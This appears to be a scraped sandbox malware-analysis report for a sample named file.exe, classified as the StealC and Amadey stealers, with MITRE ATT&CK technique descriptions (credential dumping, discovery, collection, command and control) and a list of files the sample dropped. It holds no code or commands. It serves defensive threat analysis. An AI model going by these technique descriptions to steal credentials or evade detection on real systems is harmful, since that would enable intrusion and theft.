Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAFCFBAEGDHIEBFHDGCB

C:\ProgramData\CBGCBKFBGIIIECAAAKFCAEBAAA

C:\ProgramData\DHDHCGHDHIDHCBGCBGCAEBAKEH

C:\ProgramData\HCAAEGIJKEGHIDGCBAEB

C:\ProgramData\HCFCAAEB

C:\ProgramData\HIIEBAFC

C:\ProgramData\IEHDBAAFIDGDAAAAAAAA

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre